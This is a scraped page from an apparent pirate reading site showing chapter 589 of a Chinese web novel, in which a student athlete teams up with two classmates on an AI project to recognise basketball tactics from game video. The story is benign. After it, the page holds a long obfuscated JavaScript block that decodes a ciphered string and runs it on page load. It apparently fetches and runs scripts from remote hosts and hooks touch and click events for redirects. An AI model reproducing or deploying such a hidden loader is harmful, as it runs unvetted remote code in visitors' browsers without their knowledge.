首页
[切换至繁体版]
返回

第589章 课题合作

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第589章课题合作(第1/2页)
    辅修“智能科学与技术”的申请,在春季学期开始后不久便顺利通过了审核。流程比韩澈预想的要顺畅,或许得益于他不错的GPA和体育特长生的“特殊通道”,又或许是交叉信息研究院本身鼓励学生进行跨学科探索。当看到选课系统中多出的那几门颜色不同的课程时,韩澈深吸一口气,知道一段新的、注定更加忙碌的旅程开始了。
    新课表排得如同高难度乐谱。除了本专业的《电磁场与波》、《模拟电子技术基础》等硬核课程,辅修专业的《人工智能导论》、《计算神经科学基础》、《最优化方法》也赫然在列,其中《最优化方法》还是与数学系合上,以难度大、作业多著称。训练时间被重新规划,更加紧凑。每天清晨,当大多数同学还在梦乡时,韩澈已经完成了一组核心力量训练和投篮练习;上午的课程结束后,他匆匆赶往食堂,边吃边看上课录屏或预习资料;下午是固定的球队集体训练和战术演练;晚上则完全交给了图书馆和自习室,在《信号与系统》的傅里叶变换和《最优化方法》的拉格朗日乘子法之间来回切换,常常到闭馆音乐响起,才带着满脑子的公式和代码离开。
    生活被压缩成了简单的三点一线:教室(实验室)-训练馆-图书馆。睡眠时间被无情地挤压,咖啡和浓茶成了忠实伴侣。但他却奇异地感到一种充实的疲惫。篮球训练让他的身体保持在高强度的运转状态,而繁重的学业,尤其是那些全新的、充满挑战的交叉学科课程,则不断刺激和拓展着他思维的边界。两种截然不同的“苦”,交织在一起,竟产生了一种奇特的平衡与满足感。
    苏晚的身影,偶尔还是会出现在图书馆,通常是在更僻静的专题阅览区或研究厢,身边堆放着更多外文书籍和打印的论文。韩澈远远见过几次,并未上前打扰。他们像两条偶尔交汇又迅速分开的溪流,各自奔涌在属于自己的河道里。直到那个寻常又不寻常的下午。
    那是《人工智能导论》的课程项目宣讲会。这门课是辅修专业的核心必修课,考核方式除了期末考试,还有一个占总评30%的团队课题项目,要求3-4人一组,自选与人工智能相关的课题,完成从问题定义、文献调研、方法实现到结果分析的完整流程,并在期末进行展示和答辩。
    宣讲会在一个中型阶梯教室举行。授课的是一位年富力强、语速极快的青年副教授,姓秦,研究方向是计算机视觉与强化学习。秦教授用了大半节课时间,以令人眼花缭乱的速度介绍了近年来AI各子领域的突破性进展和前沿方向,从生成式模型谈到具身智能,从大语言模型聊到AIforScience,信息密度极高,听得底下学生们既兴奋又头大。
    “好,前沿我们就先了解到这里。”秦教授推了推眼镜,切换到PPT的最后一页,上面列出了课题项目的具体要求和时间节点,“接下来是重点:课题自由组队,自由选题。但有两个建议:第一,选题不要太泛,比如‘研究人工智能的利弊’这种不行,要具体,有明确的技术目标和可评估的结果;第二,鼓励交叉创新,结合你们各自的专业背景。我们清北的优势就是学科齐全,别浪费了。你是学生物的,能不能想想AI在基因测序或药物发现中的应用?你是学建筑的,能不能探索生成式设计?你是学心理的,能不能结合认知模型?当然,经典的CV、NLP、推荐系统课题也可以,但要做出新意。”
    “组队名单和初步选题意向,下周上课前提交。现在,给大家二十分钟自由讨论,可以寻找队友,也可以初步碰撞一下想法。”
    教室里立刻响起一片嗡嗡的讨论声。学生们开始四处张望,寻找熟悉的同学,或者主动出击,询问彼此的专业和兴趣。韩澈坐在靠后的位置,有些踌躇。他在这个班里认识的人不多,仅有的几个点头之交,似乎也已经找到了队友。他本身是电子工程专业,对AI的了解刚刚入门,要提出一个具体且有新意的课题,并非易事。
    他正低头看着课程大纲,思考着自己那点可怜的篮球数据分析想法是否够格作为一个课题时,一个平静的声音在旁边响起:
    “你对什么方向感兴趣?”
    韩澈抬头,微微一怔。苏晚不知何时走了过来,站在他旁边的过道上。她今天穿着一件浅灰色的连帽卫衣,背着那个看起来永远鼓鼓囊囊的帆布包,表情是一贯的沉静,只是眼神里带着一丝询问。
    “呃……”韩澈没想到她会主动过来,一时语塞。他快速整理了一下思绪,决定实话实说,“我对AI在体育数据分析,特别是篮球比赛分析上的应用,有一些模糊的想法。但具体怎么做,还没什么头绪。这个方向……可能有点偏,也未必容易出成果。”他知道苏晚的研究方向很高端,担心自己的“业余”想法入不了她的眼。
    苏晚听了,并没有立刻表示赞同或否定,而是微微偏了偏头,似乎在思考。“体育数据分析……具体指什么?球员动作捕捉?战术模式识别?还是比赛结果预测?”
    她的问题很直接,也很专业,一下子把韩澈脑海中那些零散的念头逼到了需要具体化的境地。韩澈深吸一口气,努力组织语言:“可能……更偏向战术模式识别和球员行为预测?比如,通过比赛视频数据,自动识别常见的战术配合,或者预测球员在特定局势下的跑位和传球选择。我打球,对这些比较有直觉,但不知道能不能用AI的方法来建模和验证。”
    苏晚安静地听着,手指无意识地摩挲着帆布包的带子。“基于视觉的时空行为分析,确实是当前的一个研究热点。难点在于数据标注成本高,模型需要理解高层次的语义信息,而不仅仅是像素变化。另外,篮球比赛的动态性很强,规则和球员互动复杂,建模难度不小。”她顿了顿,目光落在韩澈脸上,那眼神像是在评估一个实验方案的可行性,“不过,如果你能提供准确的领域知识和具体的分析需求,或许可以简化问题。比如,不追求全自动的通用模型,而是针对特定战术或特定球员,设计专门的识别或预测任务。”
    韩澈眼睛一亮。苏晚没有否定他的方向,反而给出了非常专业的难点分析和可行的切入点建议。这让他心里那点不自信消散了不少。“你的意思是,我们可以做一个更聚焦的、验证性质的小课题?比如,专门识别‘挡拆’(pickandroll)战术,或者预测控球后卫在快攻中的传球选择?”
    “可以朝这个方向考虑。”苏晚点头,“但需要明确数据来源、标注方法、模型选型和评价指标。公开的、标注好的篮球比赛视频数据集可能不多,甚至没有。我们需要自己想办法获取和处理数据。”
    “数据我可以想办法!”韩澈立刻说,“球队有大量的比赛录像,教练组也有详细的战术标注记录。虽然不一定完全符合机器学习的数据格式要求,但可以作为起点。如果需要更精细的标注,我……我可以想办法处理一部分。”他想到了自己漫长的基础训练后那些可以用来“抠细节”的时间。
    苏晚似乎有些意外他能提供数据支持,但并未多问,只是说:“有数据是第一步,也是关键一步。如果能解决数据问题,这个课题的可行性会高很多。”
    这时,另一个声音插了进来:“嘿,你们在讨论课题吗?加我一个怎么样?”
    一个戴着黑框眼镜、身材微胖的男生凑了过来,脸上带着友好的笑容。韩澈认得他,是计算机系大三的,好像叫王睿,在之前的课程小组讨论中发言挺积极,技术基础似乎很扎实。
    “我们正在讨论一个可能的方向,关于AI在篮球比赛分析中的应用。”韩澈简单介绍了一下。
    王睿一听,来了兴趣:“篮球?这个有意思!我是NBA铁杆球迷,自己也打球。用AI分析比赛,酷啊!数据问题韩澈你能搞定的话,那太棒了。建模和实现这块我可以多出力,我对计算机视觉和时序建模有点研究。哦对了,我还会点前端,最后成果展示可以做个炫酷点的交互界面!”他语速很快,显得热情洋溢。
    (本章未完,请点击下一页继续阅读)第589章课题合作(第2/2页)
    苏晚看了王睿一眼,又看了看韩澈,平静地说:“如果数据能解决,这个课题在技术上有挑战,但也有创新点。交叉学科的特点也符合秦老师的要求。”
    韩澈看向苏晚:“那你……愿意加入吗?”他问得有些小心。苏晚的专业水平明显很高,研究方向也更偏向底层模型和神经科学启发,他担心这个“应用性”较强的课题对她吸引力不足。
    苏晚沉默了几秒钟。她的目光在韩澈和王睿脸上扫过,似乎在权衡。然后,她轻轻点了点头:“可以。这个课题涉及到时空序列建模、模式识别,可能还会用到一些图神经网络的方法,与我的研究方向有结合点。而且,”她顿了顿,看向韩澈,“你有领域知识,这是宝贵的输入。王睿同学擅长工程实现。我们可以互补。”
    她的话语依然简洁,逻辑清晰,带着一种就事论事的冷静,但其中“可以互补”四个字,让韩澈心里微微一动。这大概是苏晚式的高度认可了。
    “太好了!”王睿兴奋地搓了搓手,“那我们队就算齐了?三人组,黄金三角啊!我来当组长,负责跟秦老师沟通和协调进度,怎么样?你俩没意见吧?”
    韩澈看向苏晚,苏晚无可无不可地点了点头。
    “那就这么定了!”王睿立刻进入状态,掏出手机,“来,加个微信,拉个群。我们得赶紧把选题意向定下来,秦老师要求不低,得好好琢磨一下题目和初步方案。”
    就这样,一个奇妙的组合在二十分钟的自由讨论时间里迅速成型。韩澈,电子工程系大二,校队篮球明星,提供领域知识和数据;苏晚,物理系(兼修脑启发计算方向)的学术新星,提供前沿的算法思路和理论支撑;王睿,计算机系大三的技术达人,负责核心代码实现和工程落地。三个不同专业、不同背景的人,因为一门课程,因为一个或许有些异想天开的“篮球+AI”课题,走到了一起。
    接下来的一周,三人小组开始了紧锣密鼓的初步讨论。主要是通过微信群,偶尔在没课的下午约在图书馆的研讨室碰面。王睿是天然的“项目经理”,热情高涨,不断抛出各种技术实现方案和酷炫的展示点子。苏晚则像团队的“理论顾问”和“质量把控”,冷静地分析每个方案的可行性、理论依据和潜在缺陷,常常一针见血地指出王睿想法中过于乐观或不严谨的地方。韩澈则扮演着“领域专家”和“需求方”的角色,不断将王睿和苏晚讨论的技术方案,翻译成具体的篮球场景和问题,同时也从可行性角度提出约束。
    “我们不能一开始就搞全场比赛的战术识别,太复杂了。先从简单的、定义清晰的场景开始,比如‘高位挡拆’的识别。这个战术在NBA和我们的比赛里都非常常见,有明确的起始形态和球员位置关系。”韩澈在白板上画着简单的示意图。
    “没问题!我们可以先用目标检测模型(比如YOLO)识别出视频帧里的球员和篮球,然后用目标跟踪算法把每个人和球的轨迹连起来,形成时空序列数据。”王睿接话。
    “然后呢?识别出球员和轨迹只是第一步,怎么定义‘挡拆’?是看两个球员的轨迹是否在某个时刻接近,然后一个留下,一个移动?”苏晚提问,语气平静但切中要害,“这需要明确的、可量化的规则。而且,防守球员的位置和反应呢?真正的挡拆成功与否,和防守人的位置密切相关。”
    “这个……”王睿挠了挠头,“可能需要引入图神经网络?把每个球员看作节点,他们之间的距离和相对运动方向作为边,构建一个动态图,然后用图分类或节点分类的方法来识别特定的战术模式?”
    “可以尝试。但动态图的构建和计算开销需要考虑。而且,标注数据会是大问题。我们需要大量标明了‘挡拆’发生时刻和参与球员的视频片段作为训练数据。”苏晚转向韩澈,“你之前说的比赛录像和教练标注,具体到什么程度?”
    韩澈解释道:“录像很全,有多角度。教练组的标注更多是文字记录和手工画的战术板,比如‘第一节8分15秒,我方发起高位挡拆,由5号与1号执行,形成错位,1号突破分球给底角3号,命中三分’。有具体时间和战术描述,但没有精确到每一帧的球员坐标和动作标签。”
    “这需要大量的预处理和人工细化标注。”苏晚总结道,眉头微微蹙起,显然意识到了任务的艰巨性。
    “要不……我们先不用真实比赛视频?”王睿提议,“可以用篮球游戏,比如NBA2K系列,它的回放模式可以导出精确的球员位置数据,而且可以自定义战术让AI执行,批量生成带标注的数据!虽然和真实比赛有差距,但作为概念验证和原型开发,足够了!等模型跑通了,再迁移到真实数据上优化。”
    这个想法让韩澈和苏晚都眼睛一亮。用游戏数据作为起点,巧妙
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();